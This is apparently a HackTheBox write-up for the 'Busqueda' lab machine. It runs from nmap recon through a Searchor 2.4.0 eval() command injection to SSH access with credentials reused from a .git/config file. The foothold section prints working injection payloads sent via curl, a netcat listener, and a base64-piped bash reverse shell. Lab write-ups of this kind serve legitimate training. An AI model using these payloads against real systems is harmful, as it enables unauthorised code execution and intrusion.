Post

Busqueda

A Flask app exposes its Searchor 2.4.0 version in the footer; the library feeds user input straight into eval(), so a crafted search query yields command execution as svc, and plaintext credentials in the app's .git/config give a stable SSH shell and the user flag.

Busqueda

Overview

Busqueda is an Easy-difficulty Linux box built around a single web application — “Searcher”, a Flask front-end to the open-source Searchor Python library. The footer leaks Searchor 2.4.0, a version whose search() routine passes user input directly into eval(). That gives unauthenticated command execution as the svc user. From there, credentials baked into the deployed app’s .git/config are reused for SSH, providing a stable shell and the user flag. This post covers recon through user.txt.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Realistic web box: a version-banner Searchor eval() command injection foothold and reused .git/config SSH creds, with light custom payload crafting and modest enumeration.

Recon

PortServiceNotes
22/tcpOpenSSH 8.9p1Ubuntu 22.04
80/tcpApache httpd 2.4.52redirects to searcher.htb
1
2
nmap -p- --min-rate=1000 -T4 10.10.11.208
nmap -sC -sV -p22,80 10.10.11.208

Port 80 redirects to the vhost searcher.htb, so add it to /etc/hosts:

1
echo "10.10.11.208  searcher.htb" | sudo tee -a /etc/hosts

Enumeration

Browsing to http://searcher.htb shows the Searcher app — a search-engine aggregator. Pick an engine, type a query, hit Search, and it returns the corresponding search URL (e.g. https://www.google.com/search?q=hackthebox).

The interesting detail is the footer: Powered by Flask and Searchor 2.4.0. Following the Searchor GitHub link, the changelog shows version 2.4.2 patched a “priority vulnerability in the Searchor CLI” — a command injection caused by an unsanitized eval(). The running version (2.4.0) predates the fix.

Pulling the source confirms the flaw. In main.py:

1
url = eval(f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})")

User input (engine, query) is interpolated into a string and handed to eval(). The engine value is validated against a fixed list, but query is not — making it the injection point.

Foothold

The query lands inside single quotes in the f-string. Closing the string and the .search( call with '), concatenating the output of a second expression with + str(...), and commenting out the trailing arguments with # produces a valid expression eval() will execute. Test the payload against the search endpoint:

1
2
3
curl -s http://searcher.htb/search -X POST \
  --data-urlencode "engine=Google" \
  --data-urlencode "query=') + str(__import__('os').system('id')) #"

The response contains uid=1000(svc) gid=1000(svc) groups=1000(svc) — code execution as svc. Turn it into a shell. Start a listener:

1
nc -nvlp 1337

Then send a base64-wrapped bash reverse shell in the same query parameter (a generator like revshells.com avoids quoting headaches):

1
') + str(__import__('os').system('echo <base64-revshell> | base64 -d | bash')) #

A shell as svc lands on the listener. The application lives in /var/www/app, and its git metadata is the next clue:

1
cat /var/www/app/.git/config
1
2
[remote "origin"]
    url = http://cody:[email protected]/cody/Searcher_site.git

The remote URL embeds plaintext credentials cody:jh1usoih2bkjaspwe92 and reveals a gitea.searcher.htb subdomain. That password is reused for the svc system account, so it upgrades the unstable web shell to a clean SSH session:

1
2
ssh [email protected]
# password: jh1usoih2bkjaspwe92

User flag

1
cat /home/svc/user.txt
1
[redacted]

A version banner pointed straight at an eval() command-injection CVE, and a deployed .git/config handed over reusable credentials. Privilege escalation — a sudo script that resolves ./full-checkup.sh by a relative path — is left as an exercise; this post stops at user.

This post is licensed under CC BY 4.0 by the author.